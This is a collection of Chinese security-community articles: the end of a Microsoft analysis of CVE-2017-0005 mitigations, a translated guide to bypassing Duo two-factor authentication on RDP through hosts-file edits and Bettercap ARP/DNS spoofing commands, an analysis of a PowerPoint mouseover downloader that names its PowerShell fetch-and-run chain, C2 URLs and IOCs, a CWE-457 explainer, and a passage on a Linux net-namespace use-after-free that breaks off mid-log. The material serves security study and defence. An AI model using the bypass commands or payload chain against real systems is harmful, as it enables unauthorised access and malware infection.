类似SMEP之类的战略级防护措施可以导致数以百计的EoP漏洞利用代码无效，从而显著提高攻击者的技术门槛，这类漏洞利用代码中不乏从内核态直接调用用户态shellcode的老式漏洞利用方法，如本文分析的CVE-2017-0005漏洞利用技术。
我们可以使用[Coreinfo](https://technet.microsoft.com/en-us/sysinternals/cc835722.aspx)这个工具来判断主机是否支持SMEP特性。该工具使用CPUID指令，在输出结果中显示支持SMEP特性的CPU以及平台。如下图所示，从工具的执行结果中，我们可知正在测试的CPU支持SMEP。Windows
8以及更高版本的Windows系统支持SMEP特性。
**3.2.2 Windows内核64位ASLR增强特性**
启用SMEP后，虽然攻击者被迫使用更为复杂的漏洞利用代码才能实施攻击行为，但根据安全会议以及安全事件中分享的技术方法，我们的确了解到有多种方法可能绕过SMEP保护机制。如使用内核ROP工具或者通过读写（RW）方法直接修改PTE都可以实现绕过目的。为了应对漏洞利用中不断出现的新技术，微软在Windows
10周年更新版中提供了[Windows内核64位ASLR增强特性](https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf)，通过随机化的内核地址增强了SMEP功能，避免基于直接修改PTE实现的漏洞利用技术。
**3.2.3 基于虚拟化的安全**
VBS（virtualization-based
security，基于虚拟化的安全）增强特性可以从另一个角度来防止内核中执行恶意代码。比如，[设备保护（Device
Guard）](https://technet.microsoft.com/en-us/itpro/windows/keep-secure/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies)会阻止执行内核内存未签名区域中的代码，当然也会阻止内核EoP代码的执行。设备保护中的增强功能也可以保护MSR、控制寄存器以及描述符表寄存器（descriptor
table registers）。这样一来，对CR4控制寄存器（包括SMEP区域的数据）未授权的修改会被立即阻止。
**3.3 Windows Defender ATP功能**
在创造者更新版系统中，Windows Defender ATP可以检测通过修改CR4寄存器实现的SMEP攻击技术。Windows Defender
ATP可以监控CR4.SMEP标志，一旦出现不一致就会报告相应情况。此外，Windows Defender
ATP可以监控进程结构中的令牌区域状态，以检测令牌交换攻击。
**
**
**四、总结**
在较新的系统中，本文分析的CVE-2017-0005漏洞利用代码会直接停止工作，以避免引起用户警觉，因此这些系统不会受到该工具影响。攻击者没有特别去关注老版本的系统，但有意识地在规避新的硬件以及操作系统平台（如Windows
10周年更新版）中所使用的安全增强特性。虽然我们一直在针对特定的漏洞来发布特定的补丁，但从本文对攻击者行为的分析来看，系统内置的防御机制（如SMEP、ASLR增强机制以及VBS机制）可以提供一种弹性的防御屏障。
与创造者更新版一起发布的Windows Defender
ATP（[公众预览版](https://blogs.microsoft.com/microsoftsecure/2017/03/13/whats-new-in-the-windows-defender-atp-creators-update-preview/)）能够检测端点上的漏洞利用行为，进一步扩展了这种防御屏障。在即将发布的增强特性中，Windows Defender
ATP可以发布安全警报，以便安全操作人员第一时间察觉EoP攻击行为，采取对应的响应动作。大家可以阅读我们之前发表的分析跨进程注入技术的[文章](https://blogs.technet.microsoft.com/mmpc/2017/03/08/uncovering-cross-process-injection-with-windows-defender-atp/)，进一步了解Windows Defender
ATP如何检测复杂的攻击行为。
除了加强对EoP利用技术的通用检测方法之外，微软安全研究员同时也在积极收集属于ZIRCONIUM的威胁情报以及特征信息，这一组织正是使用CVE-2017-0005漏洞利用技术的组织。我们会向Windows
Defender ATP客户推送综合威胁情报，分析正在活跃的攻击组织以及他们的攻击方法。
Windows 10企业版中集成了Windows Defender ATP，大家可以[免费试用](https://www.microsoft.com/en-us/WindowsForBusiness/windows-atp)。 | 社区文章 |
原文：<https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/>
在进行渗透测试时，如果能够通过远程桌面协议（RDP）连接到目标系统的话，通常是非常有利的。就我而言，一旦获得了执行各种操作所需的凭证，就会使用[rdesktop](https://linux.die.net/man/1/rdesktop
"rdesktop")或[xfreerdp](https://linux.die.net/man/1/xfreerdp
"xfreerdp")连接到相应的主机。可是，如果客户端使用[Duo](https://duo.com/
"Duo")为Windows上的RDP访问提供了相应的保护的话，这种方法就会遇到问题。实际上，这还是一个非常棘手的问题，特别是当端口3389是跳板机器上开放的唯一端口的时候，则需要绕道其他网络。上次遇到这种情况时，偶然发现[Alex
Lomas](https://twitter.com/alexlomas "Alex Lomas")在[Pen Test
Partners](https://www.pentestpartners.com/security-blog/abusing-duo-2fa/ "Pen
Test Partners")上发表了一篇文章，详细介绍了绕过这种双因子认证的具体方法。
当然，这种攻击方法能给奏效的前提是，目标机器已将其Duo配置为“失效开放(fail
open)”模式。不过，这种设置实际上是非常普遍的，毕竟这是其默认设置。如果系统将Duo 2FA配置为失效关闭（fail
closed），并且互联网无法正常连接或DNS存在问题，那么这种攻击将会失效。当然，对于所有组织而言，这种做法是无法接受的（当然，极少数组织除外），所以，失效开放(fail
open)是最为常见的配置。
在本文中，我们将通过两种方式来演示如何绕过这种认证方法：
* 假设：您可以在系统上获得shell
* 可以使用本地绕过方式
* 假设：您无法访问系统
* 可以使用基于网络的攻击方式
**本地绕过方式**
* * *
首先，设法获得shell。对于我来说，通常使用[CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec
"CrackMapExec") \+ [Metasploit](https://github.com/rapid7/metasploit-framework
"Metasploit")或[wmiexec.py](https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
"wmiexec.py")，当然，除此之外，还有许多其他方法可用。利用不需要2FA认证的方法进入目标系统后，运行下列命令：
ipconfig /displaydns
通常情况下，我会将命令输出传递给一个文件，以防其内容过多，同时也便于解析。我们需要检查文件的内容，以找到相应的Duo API
DNS条目。当然，每个独立的Duo安装都会有一个不同的API端点与之对应。
如果由于某种原因，DNS缓存中没有任何内容的话，则需要触发身份验证请求。如果必须这样做的话，请避免使用已注册过Duo的帐户，因为这样的话，系统很可能会向其手机发送推送消息、短信或电子邮件。
下一步是编辑系统上的hosts文件。这一步需要具有管理员权限。
然后，需要备份原始hosts文件。备份后，请修改当前hosts文件。这一步非常简单，只需在hosts文件后面追加一个条目，将Duo
API端点映射到localhost即可。
此时，如果Duo设置为失效开放(fail open)的话，只需通过用户名和密码就可以进入系统了。完成后这些操作后，请恢复hosts文件。
**网络绕过方式**
* * *
如果您没有管理员凭据，或SMB/WMI/etc不可用的话，则可以通过中间人攻击（MITM）拒绝访问Duo API。
要执行该操作，我们可以借助于[Bettercap](https://github.com/bettercap/bettercap
"Bettercap")。人们通常Bettercap描述为“用于802.11、BLE和以太网网络侦察和攻击的瑞士军刀”。对于本文来说，我们将使用它执行ARP欺骗攻击和DNS欺骗攻击。
第一步是执行ARP欺骗。在这里，目标需要设置为我们尝试访问的IP。Bettercap会欺骗主机，让它相信我们就是默认网关。要完成该攻击，攻击者必须与受害者位于同一广播域中。否则的话，攻击者必须借助ARP欺骗之外的其他方法来完成MITM攻击。
安装运行Bettercap后，输入下列命令：
>set arp.spoof.targets [VICTIM IP]
>arp.spoof on
Bettercap将自动启用转发功能。
注意：您必须以root身份运行Bettercap才能启用转发功能。
成功执行ARP欺骗攻击之后，还将需要执行DNS欺骗攻击。为此，可以在Bettercap中键入下列命令：
>set dns.spoof.domains *.duosecurity.com
>dns.spoof on
这将改变针对Duo安全子域的所有DNS查询，从而响应攻击者的IP地址——这就很好了，因为我们只是想破坏API的正常工作。
之后，攻击者就可以通过RDP登录系统，而无需进行2FA身份认证了。登录后，请退出Bettercap。Bettercap将重新发送针对目标的ARP查询，不过，DNS条目的过期需要一段时间，一般等待几分钟即可。
**控制台绕过方式**
* * *
对于这种方法来说，除了要求系统采用默认设置以外，还有其他的要求，但是，我确实发现一些客户端选中了第三个框，“仅在通过RDP登录时提示进行Duo身份验证”。很多时候，管理员会通过身份验证将远程攻击者拒之门外，但对具有物理访问权限的用户来说，通常会给予更多的信任。然而，问题在于，在某些情况下，攻击者也可以远程执行“本地”登录。
如果客户端是通过VMware或Hyper-V来实现某些基础架构的虚拟化的话，那么，我们就可以将其用作访问受Duo保护的系统的一种攻击路径。通常情况下，在获得凭据后，会有一个VMware
web界面可供连接使用。此外，用户还可以连接Hyper-V或VSphere软件的客户端。完成连接后，攻击者就可以通过虚拟控制台连接所有虚拟化的系统了。当我们连接到控制台时，系统会像对待本地登录一样对待我们的登陆过程。因此，Duo是不会提示MFA的。
当然，在许多情况下，攻击者无需获得RDP访问权限就能实现自己的目的，但是，有时候获取该权限也是非常有用的。RDP很酷的一点是，如果我们使用能够生成有效会话的凭据进行连接的话，就能接管该用户的桌面会话。如果用户已经打开了KeePass、Lastpass或1Password之类的密码管理软件，或者他们主动登录到Web上的内部资源或通过其系统上的软件完成了相应的登录，则RDP访问权限就会变得非常有用。在登陆了内部Web资源的情况下，攻击者可以从磁盘上的浏览器中提取cookie，但是，对于某些东西来说，例如HTTP基本身份验证头部等，根本就不会驻留到硬盘驱动器上，所以，只能通过转储内存来恢复这些数据。虽然像[KeeThief](https://github.com/HarmJ0y/KeeThief
"KeeThief")这样的工具有时可以在获得shell访问权限的情况下从内存中提取密码，但RDP通常可以让这个过程更加容易，并且还可以应付其他类型的密码管理软件或不太了解的、已经通过身份验证的各种软件。 | 社区文章 |
# 【技术分享】浅析如何通过一个PPT传递恶意文件
|
##### 译文声明
本文是翻译文章，文章来源：dodgethissecurity.com
原文地址：<https://www.dodgethissecurity.com/2017/06/02/new-powerpoint-mouseover-based-downloader-analysis-results/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **myswsun**](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：80RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
本文介绍一种新的恶意下载者，通过PPT传递恶意powershell脚本，可直接通过鼠标悬停事件触发。
**0x01 分析**
这个PPT文档很有趣。首先这个文档不依赖宏、Javascript或者VBA来作为执行方式。这意味着这个文档不符合常规的利用方式。当用户打开文档，呈现文本“Loading…Please
wait”，其对用户来说是一个蓝色的超链接。当用户悬停鼠标到文本之上（很常见的用户检测超链接的方式）将导致执行Powershell。这通过在悬停操作中定义一个元素实现。这个悬停操作是为了当用户鼠标悬停在文本时在PowerPoint中执行一个程序。在slide1的资源定义中，“rID2”被定义为一个超链接，其目标是PowerShell命令。由于它的长度，在下面一步步的截图中可以看到它。
当PowerShell执行时，会从域名“cccn.nl”得到c.php文件，下载它，以“ii.jse”为名称保存在临时目录中。它能通过wscript.exe执行，然后释放出一个文件“168.gop”，然后以-decode为参数执行certutil.exe。certutil.exe将168.gop解码，在临时目录保存为484.exe。然后执行484.exe，它会启动mstsc.exe允许RDP访问系统。484.exe之后被mstsc.exe重命名保存到AppDataRoamingMicrosoftInternet
Explorersectcms.exe，然后在新目录重新执行。一个bat文件被写到磁盘。这个bat文件的目的似乎是改变sectcms.exe为隐藏属性（系统文件且只读）。它还会删除临时文件夹下的所有的.txt/.exe/.gop/.log/.jse文件。我在沙箱中执行了8小时，但是没有等到攻击者连接系统。因此我不能看见后门的其他目的。
**截图分析：**
打开文档的呈现文本：
当悬停文档时的警告消息：
如果用户允许了，将显示下面的PowerShell提示，并很快隐藏：
下面是我为了测试PowerShell是否感知代理修改的callout——通过在PowerPoint Slide中编辑XML文件：
下面是Slide1元素中定义的rID2元素，很明显看到Powershell命令作为超链接的目标：
下面是Slide1 XML。红色高亮部分表示怎么定义悬停动作：
**Sysmon 截图分析：**
PowerPoint初始打开时的Sysmon日志：
Sysmon记录的PowerShell命令的执行：
恶意的payload的初始进程创建：
Mstsc.exe的进程创建之后，用于RDP访问系统：
原始payload进程的终结：
原始payload的文件拷贝。重命名为sectcms.exe和在AppData文件夹下隐藏：
新移动的payload的再次执行：
在临时文件夹中创建bat文件：
通过cmd.exe执行bat文件。执行源是mstsc.exe：
Bat的一个功能是添加隐藏、系统和只读属性：
Sectcms.exe的第二次实例创建：
最后，sectcms.exe的一个实例的退出：
**0x02 IOCs**
**File: order.ppsx**
MD5: 823c408af2d2b19088935a07c03b4222
SHA1: df99061e8ad75929af5ac1a11b29f4122a84edaf
SHA256: f05af917f6cbd7294bd312a6aad70d071426ce5c24cf21e6898341d9f85013c0
SHA512:
2cc9e87e0d46fdd705ed429abb837015757744783bf1e904f9f22d56288b9554a1bc450142e2b1644a4912c12a522391b354d97956e4cb94890744266249b7f9
**File: C:UsersCurrent UserAppDataLocalTemp168.gop**
MD5: 9B5AC6C4FD5355700407962F7F51666C
SHA: 9FDB4CD70BBFB058D450AC9A6985BF3C71840906
SHA-256: E97B266D0B5AF843E49579C65838CEC113562A053B5F87A69E8135A0A82564E5
SHA-512:
AB85132D845437A7900E03C2F3FA773433815A4893E16F7716A5F800558B5F01827F25463EAFF619F804C484A1D23CDD5F2BCCC0F91B4B4D0C117E87D830B1B3
**File: C:UsersCurrent UserAppDataLocalTemp484.exe**
**File: C:UsersCurrent UserAppDataRoamingMicrosoftInternet
Explorersectcms.exe**
MD5: 13CDBD8C31155610B628423DC2720419
SHA: 7633A023852D5A0B625423BFFC3BBB14B81C6A0C
SHA-256: 55C69D2B82ADDD7A0CD3BEBE910CD42B7343BD3FAA7593356BCDCA13DD73A0EF
SHA-512:
19139DAE43751368E19C4963C4E087C6295CC757B215A32CB95E12BDD82BB168DB91EA3385E1D08B9A5D829549DFBB34C17CA29BFCC669C7EAE51456FCD7CA49
**File: C:UsersCurrent UserAppDataLocalTempii.jse**
MD5: F5B3D1128731CAC04B2DC955C1A41114
SHA: 104919078A6D688E5848FF01B667B4D672B9B447
SHA-256: 55821B2BE825629D6674884D93006440D131F77BED216D36EA20E4930A280302
SHA-512:
65D8A4CB792E4865A216D25068274CA853165A17E2154F773D367876DCC36E7A7330B7488F05F4EE899E40BCAA5F3D827E1E1DF4915C9693A8EF9CAEBD6D4BFB
**C2 Communications:**
hxxp://cccn.nl/c.php
hxxp://cccn.nl/2.2
**IP Address of C2/Payload Domain:**
46.21.169.110
**0x03 参考**
<https://www.peerlyst.com/posts/microsoft-office-malware-now-being-delivered-without-macros-but-using-pps-url-mouse-hover-marry-tramp?trk=search_page_search_result>
<https://www.joesecurity.org/reports/report-823c408af2d2b19088935a07c03b4222.html>
<https://www.hybrid-analysis.com/sample/796a386b43f12b99568f55166e339fcf43a4792d292bdd05dafa97ee32518921?environmentId=100>
<https://www.virustotal.com/en/file/796a386b43f12b99568f55166e339fcf43a4792d292bdd05dafa97ee32518921/analysis> | 社区文章 |
# 【缺陷周话】第39期：解引用未初始化的指针
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、解引用未初始化的指针
指针声明后没有进行初始化就对其进行解引用，会导致未定义的行为。一些动态内存分配方法虽然会对内存进行申请，但也可能不会对申请的内存进行初始化，如：
malloc()、 aligned_alloc() 不会初始化，而 calloc()
会初始化为0。程序在解引用这些不确定的值时可能会触发非预期的行为，甚至可能会让程序存在被恶意攻击的严重隐患。详见 CWE-457: Use of
Uninitialized Variable (3.2) 。
#
## 2、解引用未初始化的指针的危害
未初始化的指针拥有不确定的值，对未初始化的指针进行解引用可能会导致空指针解引用或其他不符合预期的行为。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年6月，CVE中就有4条相关漏洞信息。漏洞信息如下：
CVE 编号 | 概述
---|---
CVE-2018-19407 | Linux kernel 4.19.2 及之前版本中的 arch/x86/kvm/x86.c 文件的
‘vcpuscanioapic’
函数存在安全漏洞，原因是当满足一定条件时ioapic未初始化。本地攻击者可借助特制的系统调用利用该漏洞造成拒绝服务（空指针解引用）。
CVE-2018-19406 | Linux kernel 4.19.2 及之前版本中的 arch/x86/kvm/lapic.c文件的
kvmpvsend_ipi 存在安全漏洞，原因是当满足一定条件时apic
map未初始化。本地攻击者可借助特制的系统调用利用该漏洞造成拒绝服务（空指针解引用）。
CVE-2018-4040 | Atlantis Word Processor 3.2.7.1 版本和 3.2.7.2 版本中的 rich text
format parser 存在安全漏洞。攻击者可通过诱使用户打开特制的文档利用该漏洞造成RTF令牌解引用未初始化的指针，进而执行代码或造成应用程序崩溃。
CVE-2018-3842 | Foxit PDF Reader 9.0.1.1049 版本中的 JavaScript
引擎存在一个未初始化指针漏洞，通过构建特殊的 pdf 文件可以导致解引用未初始化的指针，攻击者利用该漏洞执行任意代码。
## 3、示例代码
示例源于 Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE457_Use_of_Uninitialized_Variable__double_pointer_01.c。
### 3.1 缺陷代码
在上述示例代码中，第26行定义了 double 类型指针 data，但并未进行初始化，随后在第30行对 data 进行了解引用，由于此时 data
并未被赋值，其指向的内存也是未定义的。因此存在“解引用未初始化的指针”问题。
使用代码卫士对上述示例代码进行检测，可以检出“解引用未初始化的指针”缺陷，显示等级为高。如图1所示：
图1：”解引用未初始化的指针” 检测示例
### 3.2 修复代码
在上述修复代码中，Samate给出的修复方式为：在第27行定义了 double 类型的指针 data，第32行使用 malloc()
动态申请内存并在第33行判断内存申请是否成功，随后在第34行对指针 data 进行初始化，从而避免了第35行解引用未初始化的指针问题。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“解引用未初始化的指针”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免解引用未初始化的指针
（1）在指针声明时完成初始化操作，避免解引用未初始化的指针。
（2）谨记一些动态内存分配函数不会对指针进行初始化，在申请内存后需要人工对申请的内存进行初始化。 | 社区文章 |
**作者： 360漏洞研究院 王晓东 刘永
原文链接：<https://vul.360.net/archives/600>**
## 背景
### The u32 filter Overview
所在模块：
net/sched/cls_u32.c
Ugly (or Universal) 32bit key Packet Classifier.
#### Linux TC(traffic control) 流量控制介绍
Linux TC 对多个特定的ip施加不同的吞吐量throughput以及延迟delay限制
##### netlink与TC
TC是基于Netlink协议实现的。
默认的Qdisc
多队列默认Qdisc
一个定制的qdisc设置
##### 一个例子
传输质量控制，传输的带宽和延时
使用一些SHELL命令就可以实现对TC的使用。也可以通过Netlink编程实现。
## 漏洞挖掘
为了2021年天府杯比赛，我整理了syzkaller之前本地打出来的漏洞。发现一个UAF在专属SLAB上的漏洞，因为这种漏洞之前没有过利用，但报着试试看的心态给
漏洞给刘永进行分析，发现这个UAF在专属SLAB上的漏洞，可能可以实现提权。大概在10月左右实现漏洞利用。又因为还有其它漏洞可以参加比赛，而这个漏洞的隐蔽性和提权成功率相对比较好，而且一个漏洞可以完成信息泄漏和提权，所以予以保留。
[ 203.112091] ==================================================================
[ 203.112113] BUG: KASAN: use-after-free in sock_prot_inuse_add+0x80/0x90
[ 203.112121] Read of size 8 at addr ffff888106660188 by task poc/6597
[ 203.112134] CPU: 0 PID: 6597 Comm: poc Tainted: G ---------r- - 4.18.0+ #32
[ 203.112138] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/22/2020
[ 203.112140] Call Trace:
[ 203.112148] dump_stack+0xa4/0xea
[ 203.112164] print_address_description.constprop.5+0x1e/0x230
[ 203.112197] __kasan_report.cold.7+0x37/0x82
[ 203.112210] kasan_report+0x3b/0x50
[ 203.112217] sock_prot_inuse_add+0x80/0x90
[ 203.112224] netlink_release+0x97f/0x1190
[ 203.112257] __sock_release+0xd3/0x2b0
[ 203.112262] sock_close+0x1e/0x30
[ 203.112267] __fput+0x2d4/0x840
[ 203.112275] task_work_run+0x16e/0x1d0
[ 203.112284] exit_to_usermode_loop+0x207/0x230
[ 203.112290] do_syscall_64+0x3f5/0x470
[ 203.112302] entry_SYSCALL_64_after_hwframe+0x65/0xca
[ 203.112308] RIP: 0033:0x7fee34abd1a8
[ 203.112315] Code: 07 02 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 f3 0f 1e fa 48 8d 05 b5 44 2d 00 8b 00 85 c0 75 17 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 40 c3 0f 1f 80 00 00 00 00 53 89 fb 48 83 ec
[ 203.112318] RSP: 002b:00007ffdb62366c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000003
[ 203.112323] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007fee34abd1a8
[ 203.112327] RDX: 0000000000000000 RSI: 00000000200001c0 RDI: 0000000000000004
[ 203.112330] RBP: 00007ffdb62366e0 R08: 00007ffdb62366e0 R09: 00007ffdb62366e0
[ 203.112333] R10: 00007ffdb62366e0 R11: 0000000000000246 R12: 0000000000400f50
[ 203.112337] R13: 00007ffdb6236820 R14: 0000000000000000 R15: 0000000000000000
[ 203.112345] Allocated by task 6247:
[ 203.112353] kasan_save_stack+0x1d/0x80
[ 203.112359] __kasan_kmalloc.constprop.10+0xc1/0xd0
[ 203.112367] slab_post_alloc_hook+0x43/0x280
[ 203.112377] kmem_cache_alloc+0x131/0x280
[ 203.112386] copy_net_ns+0xec/0x330
[ 203.112395] create_new_namespaces+0x583/0x9a0
[ 203.112404] unshare_nsproxy_namespaces+0xcb/0x200
[ 203.112414] ksys_unshare+0x468/0x8d0
[ 203.112423] __x64_sys_unshare+0x36/0x50
[ 203.112432] do_syscall_64+0xe4/0x470
[ 203.112443] entry_SYSCALL_64_after_hwframe+0x65/0xca
[ 203.112453] Freed by task 59:
[ 203.112487] kasan_save_stack+0x1d/0x80
[ 203.112510] kasan_set_track+0x20/0x30
[ 203.112535] kasan_set_free_info+0x1f/0x30
[ 203.112557] __kasan_slab_free+0x108/0x150
[ 203.112578] kmem_cache_free+0x83/0x430
[ 203.112593] net_drop_ns+0x7d/0x90
[ 203.112604] cleanup_net+0x6ee/0x960
[ 203.112619] process_one_work+0x742/0x1030
[ 203.112632] worker_thread+0x95/0xce0
[ 203.112643] kthread+0x32c/0x3f0
[ 203.112654] ret_from_fork+0x35/0x40
[ 203.112686] The buggy address belongs to the object at ffff888106660000
which belongs to the cache net_namespace of size 8000
[ 203.112698] The buggy address is located 392 bytes inside of
8000-byte region [ffff888106660000, ffff888106661f40)
[ 203.112704] The buggy address belongs to the page:
[ 203.112739] page:ffffea0004199800 refcount:1 mapcount:0 mapping:00000000306a7880 index:0xffff888106664080 head:ffffea0004199800 order:3 compound_mapcount:0 compound_pincount:0
[ 203.112752] flags: 0x17ffffc0008100(slab|head)
[ 203.112774] raw: 0017ffffc0008100 dead000000000100 dead000000000200 ffff88810b6ff600
[ 203.112792] raw: ffff888106664080 0000000080030002 00000001ffffffff ffff888101f819c1
[ 203.112798] page dumped because: kasan: bad access detected
[ 203.112803] pages's memcg:ffff888101f819c1
[ 203.112814] Memory state around the buggy address:
[ 203.112831] ffff888106660080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 203.112857] ffff888106660100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 203.112868] >ffff888106660180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 203.112873] ^
[ 203.112884] ffff888106660200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 203.112894] ffff888106660280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 203.112900] =================================================================
但是在2022/04/12在syzbot上与打出了类似的漏洞，是一个Warning，随后被社区修复。最后这个漏洞利用输出到国内的安全大赛。
## 漏洞原理
### 原始PoC
syzkaller自动转化的PoC可以稳定地触发漏洞。
分配
unshare
|-> __x64_sys_unshare
|-> ksys_unshare
|-> unshare_nsproxy_namespaces
|-> copy_net_ns
|-> kmem_cache_alloc
释放
exit_process
|-> ret_from_fork
|-> kthread
|-> worker_thread
|-> process_one_work
|-> cleanup_net
|-> net_drop_ns
|-> kmem_cache_free
UAF
sock_close
|-> exit_to_usermode_loop
|-> task_work_run
|-> __fput
|-> sock_close
|-> __sock_release
|-> sock_prot_inuse_add
分配net的源代码
net/core/net_namespace.c
445 struct net *copy_net_ns(unsigned long flags,
446 struct user_namespace *user_ns, struct net *old_net)
447 {
448 struct ucounts *ucounts;
449 struct net *net;
450 int rv;
451
452 if (!(flags & CLONE_NEWNET))
453 return get_net(old_net);
454
455 ucounts = inc_net_namespaces(user_ns);
456 if (!ucounts)
457 return ERR_PTR(-ENOSPC);
458
459 net = net_alloc(); <--- 460 if (!net) {
461 rv = -ENOMEM;
462 goto dec_ucounts;
463 }
464 refcount_set(&net->passive, 1);
465 net->ucounts = ucounts;
466 get_user_ns(user_ns);
....
487 return net;
488 }
395 static struct net *net_alloc(void)
396 {
397 struct net *net = NULL;
398 struct net_generic *ng;
399
400 ng = net_alloc_generic();
401 if (!ng)
402 goto out;
403
404 net = kmem_cache_zalloc(net_cachep, GFP_KERNEL); <--- 405 if (!net)
406 goto out_free;
407
....
427 }
$ sudo cat /sys/kernel/slab/net_namespace/object_size
4928
$ sudo cat /sys/kernel/slab/net_namespace/order
3
释放函数
437 void net_drop_ns(void *p)
438 {
439 struct net *net = (struct net *)p;
440
441 if (net)
442 net_free(net);
443 }
444
UAF的结构（下文将net_namespace统称为net结构）
56 struct net {
57 /* First cache line can be often dirtied.
58 |* Do not place here read-mostly fields.
59 |*/
60 refcount_t passive; /* To decide when the network
61 |* namespace should be freed.
62 |*/
63 spinlock_t rules_mod_lock;
64
65 unsigned int dev_unreg_count;
66
67 unsigned int dev_base_seq; /* protected by rtnl_mutex */
68 int ifindex;
69
70 spinlock_t nsid_lock;
71 atomic_t fnhe_genid;
72
73 struct list_head list; /* list of network namespaces */
74 struct list_head exit_list; /* To linked to call pernet exit
75 |* methods on dead net (
76 |* pernet_ops_rwsem read locked),
77 |* or to unregister pernet ops
78 |* (pernet_ops_rwsem write locked).
79 |*/
80 struct llist_node cleanup_list; /* namespaces on death row */
81
82 #ifdef CONFIG_KEYS
83 struct key_tag *key_domain; /* Key domain of operation tag */
84 #endif
85 struct user_namespace *user_ns; /* Owning user namespace */
86 struct ucounts *ucounts;
87 struct idr netns_ids;
88
89 struct ns_common ns; <---/*现实任意地址读*/
90
91 struct list_head dev_base_head;
92 struct proc_dir_entry *proc_net;
93 struct proc_dir_entry *proc_net_stat;
94
95 #ifdef CONFIG_SYSCTL
96 struct ctl_table_set sysctls;
97 #endif
98
99 struct sock *rtnl; /* rtnetlink socket */
100 struct sock *genl_sock;
101
102 struct uevent_sock *uevent_sock; /* uevent socket */
103
104 struct hlist_head *dev_name_head;
105 struct hlist_head *dev_index_head;
106 struct raw_notifier_head netdev_chain;
107
108 /* Note that @hash_mix can be read millions times per second,
109 |* it is critical that it is on a read_mostly cache line.
110 |*/
111 u32 hash_mix;
112
113 struct net_device *loopback_dev; /* The loopback */
114
115 /* core fib_rules */
116 struct list_head rules_ops;
117
118 struct netns_core core;
119 struct netns_mib mib;
120 struct netns_packet packet;
121 struct netns_unix unx;
122 struct netns_nexthop nexthop;
123 struct netns_ipv4 ipv4;
124 #if IS_ENABLED(CONFIG_IPV6)
125 struct netns_ipv6 ipv6;
126 #endif
127 #if IS_ENABLED(CONFIG_IEEE802154_6LOWPAN)
128 struct netns_ieee802154_lowpan ieee802154_lowpan;
129 #endif
130 #if defined(CONFIG_IP_SCTP) || defined(CONFIG_IP_SCTP_MODULE)
131 struct netns_sctp sctp;
132 #endif
133 #ifdef CONFIG_NETFILTER
134 struct netns_nf nf;
135 #if defined(CONFIG_NF_CONNTRACK) || defined(CONFIG_NF_CONNTRACK_MODULE)
136 struct netns_ct ct;
137 #endif
138 #if defined(CONFIG_NF_TABLES) || defined(CONFIG_NF_TABLES_MODULE)
139 struct netns_nftables nft;
140 #endif
141 #endif
142 #ifdef CONFIG_WEXT_CORE
143 struct sk_buff_head wext_nlevents;
144 #endif
145 struct net_generic __rcu *gen;
146
147 /* Used to store attached BPF programs */
148 struct netns_bpf bpf;
149
150 /* Note : following structs are cache line aligned */
151 #ifdef CONFIG_XFRM
152 struct netns_xfrm xfrm;
153 #endif
154
155 u64 net_cookie; /* written once */
156
157 #if IS_ENABLED(CONFIG_IP_VS)
158 struct netns_ipvs *ipvs;
159 #endif
160 #if IS_ENABLED(CONFIG_MPLS)
161 struct netns_mpls mpls;
162 #endif
163 #if IS_ENABLED(CONFIG_CAN)
164 struct netns_can can;
165 #endif
166 #ifdef CONFIG_XDP_SOCKETS
167 struct netns_xdp xdp;
168 #endif
169 #if IS_ENABLED(CONFIG_MCTP)
170 struct netns_mctp mctp;
171 #endif
172 #if IS_ENABLED(CONFIG_CRYPTO_USER)
173 struct sock *crypto_nlsk;
174 #endif
175 struct sock *diag_nlsk;
176 #if IS_ENABLED(CONFIG_SMC)
177 struct netns_smc smc;
178 #endif
179 } __randomize_layout;
### PoC改写
经过进一步的分析，是因为u32_change函数会错误地减少nets的引用计数，从而导致UAF的逻辑问题。从此出发，优化了PoC的触发路径。
u32_change()
|--> u32_destroy_key()
|--> tcf_exts_put_net()
|--> put_net()
同时构造出对net上引用计数减1的逻辑原语。
优化后的触发流程如下：
[ 253.623920] ------------[ cut here ]------------ [ 253.623929] refcount_t: underflow; use-after-free.
[ 253.623984] WARNING: CPU: 0 PID: 4009 at lib/refcount.c:28 refcount_warn_saturate+0x10c/0x1f0
[ 253.624026] Modules linked in: act_police cls_u32 ip6_gre gre ip6_tunnel tunnel6 uas usb_storage binfmt_misc snd_seq_dummy snd_hrtimer vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock snd_ens1371 snd_ac97_codec gameport ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_msr intel_rapl_common nls_iso8859_1 snd_seq crct10dif_pclmul ghash_clmulni_intel sch_fq_codel aesni_intel snd_seq_device crypto_simd snd_timer cryptd snd vmw_balloon joydev rapl input_leds soundcore vmw_vmci serio_raw vmwgfx ttm drm_kms_helper mac_hid cec rc_core fb_sys_fops syscopyarea sysfillrect sysimgblt ipmi_devintf ipmi_msghandler msr parport_pc ppdev lp drm parport ip_tables x_tables autofs4 hid_generic crc32_pclmul psmouse usbhid ahci mptspi hid libahci mptscsih e1000 mptbase 